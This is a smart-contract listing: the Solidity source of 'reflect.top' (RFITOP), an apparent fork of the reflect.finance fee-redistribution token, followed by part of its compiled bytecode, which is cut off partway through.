0x974562c28c7aba7a682538025e11af374c0f637f
pragma solidity ^0.6.2; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } // SPDX-License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /* * Copyright 2020 reflect.finance. ALL RIGHTS RESERVED. */ /* * forked 2020 reflect.top. NO RIGHTS RESERVED. */ pragma solidity ^0.6.2; contract REFLECT is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'reflect.top'; string private _symbol = 'RFITOP'; uint8 private _decimals = 9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb146105c4578063cba0e9961461062a578063dd62ed3e14610686578063f2cc0c18146106fe578063f2fde38b14610742578063f84354f11461078657610137565b806370a082311461042f578063715018a6146104875780638da5cb5b1461049157806395d89b41146104db578063a457c2d71461055e57610137565b806323b872dd116100ff57806323b872dd1461028f5780632d83811914610315578063313ce56714610357578063395093511461037b5780634549b039146103e157610137565b8063053ab1821461013c57806306fdde031461016a578063095ea7b3146101ed57806313114a9d1461025357806318160ddd14610271575b600080fd5b6101686004803603602081101561015257600080fd5b81019080803590602001909291905050506107ca565b005b61017261095a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b2578082015181840152602081019050610197565b50505050905090810190601f1680156101df5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102396004803603604081101561020357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fc565b604051808215151515815260200191505060405180910390f35b61025b610a1a565b6040518082815260200191505060405180910390f35b610279610a24565b6040518082815260200191505060405180910390f35b6102fb600480360360608110156102a557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a33565b604051808215151515815260200191505060405180910390f35b6103416004803603602081101561032b57600080fd5b8101908080359060200190929190505050610b0c565b6040518082815260200191505060405180910390f35b61035f610b90565b604051808260ff1660ff16815260200191505060405180910390f35b6103c76004803603604081101561039157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba7565b604051808215151515815260200191505060405180910390f35b610419600480360360408110156103f757600080fd5b8101908080359060200190929190803515159060200190929190505050610c5a565b6040518082815260200191505060405180910390f35b6104716004803603602081101561044557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d14565b6040518082815260200191505060405180910390f35b61048f610dff565b005b610499610f87565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104e3610fb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610523578082015181840152602081019050610508565b50505050905090810190601f1680156105505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105aa6004803603604081101561057457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611052565b604051808215151515815260200191505060405180910390f35b610610600480360360408110156105da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061111f565b604051808215151515815260200191505060405180910390f35b61066c6004803603602081101561064057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113d565b604051808215151515815260200191505060405180910390f35b6106e86004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611193565b6040518082815260200191505060405180910390f35b6107406004803603602081101561071457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061121a565b005b6107846004803603602081101561075857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611535565b005b6107c86004803603602081101561079c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611742565b005b60006107d4611ad0565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806132ef602c913960400191505060405180910390fd5b600061088483611ad8565b5050505090506108dc81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061093481600654611b3090919063ffffffff16565b60068190555061094f83600754611b7a90919063ffffffff16565b600781905550505050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109f25780601f106109c7576101008083540402835291602001916109f2565b820191906000526020600020905b8154815290600101906020018083116109d557829003601f168201915b5050505050905090565b6000610a10610a09611ad0565b8484611c02565b6001905092915050565b6000600754905090565b6000662386f26fc10000905090565b6000610a40848484611df9565b610b0184610a4c611ad0565b610afc8560405180606001604052806028815260200161325560289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ab2611ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122529092919063ffffffff16565b611c02565b600190509392505050565b6000600654821115610b69576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806131c2602a913960400191505060405180910390fd5b6000610b73612312565b9050610b88818461233d90919063ffffffff16565b915050919050565b6000600a60009054906101000a900460ff16905090565b6000610c50610bb4611ad0565b84610c4b8560036000610bc5611ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7a90919063ffffffff16565b611c02565b6001905092915050565b6000662386f26fc10000831115610cd9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610cf8576000610ce984611ad8565b50505050905080915050610d0e565b6000610d0384611ad8565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610daf57600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610dfa565b610df7600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b0c565b90505b919050565b610e07611ad0565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110485780601f1061101d57610100808354040283529160200191611048565b820191906000526020600020905b81548152906001019060200180831161102b57829003601f168201915b5050505050905090565b600061111561105f611ad0565b846111108560405180606001604052806025815260200161331b6025913960036000611089611ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122529092919063ffffffff16565b611c02565b6001905092915050565b600061113361112c611ad0565b8484611df9565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611222611ad0565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561147757611433600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b0c565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61153d611ad0565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611684576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131ec6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61174a611ad0565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461180b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60008090505b600580549050811015611acc578173ffffffffffffffffffffffffffffffffffffffff166005828154811061190157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611abf5760056001600580549050038154811061195d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005828154811061199557fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611a8557fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611acc565b80806001019150506118d0565b5050565b600033905090565b6000806000806000806000611aec88612387565b915091506000611afa612312565b90506000806000611b0c8c86866123c6565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000611b7283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612252565b905092915050565b600080828401905083811015611bf8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c88576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806132cb6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d0e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806132126022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e7f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806132a66025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f05576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061319f6023913960400191505060405180910390fd5b60008111611f5e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061327d6029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156120015750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561201657612011838383612424565b61224d565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156120b95750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120ce576120c9838383612677565b61224c565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121725750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612187576121828383836128ca565b61224b565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156122295750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561223e57612239838383612a88565b61224a565b6122498383836128ca565b5b5b5b5b505050565b60008383111582906122ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122c45780820151818401526020810190506122a9565b50505050905090810190601f1680156122f15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080600061231f612d70565b91509150612336818361233d90919063ffffffff16565b9250505090565b600061237f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613018565b905092915050565b60008060006123a060648561233d90919063ffffffff16565b905060006123b78286611b3090919063ffffffff16565b90508082935093505050915091565b6000806000806123df85886130de90919063ffffffff16565b905060006123f686886130de90919063ffffffff16565b9050600061240d8284611b3090919063ffffffff16565b905082818395509550955050505093509350939050565b600080600080600061243586611ad8565b9450945094509450945061249186600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252685600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3090919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125bb84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7a90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126088382613164565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b600080600080600061268886611ad8565b945094509450945094506126e485600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3090919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061277982600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7a90919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061280e84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7a90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061285b8382613164565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b60008060008060006128db86611ad8565b9450945094509450945061293785600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3090919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129cc84600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7a90919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffff